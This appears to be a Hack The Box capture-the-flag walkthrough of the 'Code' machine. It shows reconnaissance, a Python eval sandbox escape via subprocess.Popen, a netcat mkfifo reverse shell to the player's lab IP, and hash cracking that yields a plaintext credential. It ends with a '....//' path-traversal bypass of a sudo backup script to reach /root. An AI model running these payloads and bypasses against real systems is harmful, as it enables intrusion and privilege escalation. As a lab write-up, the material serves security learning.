Reconnaissance
First, I added the new host to my known ones:
sudo echo "10.10.11.62 code.htb" | sudo tee -a /etc/hosts
Then, I performed a Nmap scan:
nmap -sC -T4 -p- code.htb > sC.txt
[redacted]
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open upnp
I created a new user:
Weaponization
Iโll try to get RCE by Breaking Python 3 eval protections. I found this awesome blog netsec.expert.
Python has a lot of classes that exist for object
, so we can know them by printing [].__class__.__base__.__subclasses__()
:
Specifically, the class number 317 is subprocess.Popen which allows you to spawn new processes, connect to their input/output/error pipes, and obtain their return codes.
subprocess.run(_args_,ย _*_,ย _stdin=None_,ย _input=None_,ย _stdout=None_,ย _stderr=None_,ย _capture_output=False_,ย _shell=False_,ย _cwd=None_,ย _timeout=None_,ย _check=False_,ย _encoding=None_,ย _errors=None_,ย _text=None_,ย _env=None_,ย _universal_newlines=None_,ย _**other_popen_kwargs_)
We can use tha argument _shell=True_
to spawn a reverse shell.
Exploitation
Iโll use the following payload to get a reverse shell:
().__class__.__bases__[0].__subclasses__()[317](['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 666 >/tmp/f'], shell=True)
User flag
Pivoting
I found a database.db
inside /home/app-production/app/instance
, which had a md5 credential of a user called martin
:
Also got another user called development
passwordโs hash.
Then I checked both hashes in crackstation:
Credentials:
martin:nafeelswordsmaster
Privilege Escalation
I checked the sudo vulnerability:
sudo -l
[redacted]
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
I got the code of the script:
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Basically the script takes the content of the task.json
and then creates a backup of the content you specify, so I put this inside task.json
:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//....//root"
]
}
- NOTE: put
....//
because the script also removes./
Then I executed the script:
sudo /usr/bin/backy.sh ~/backups/task.json
Root flag
Machine pwned!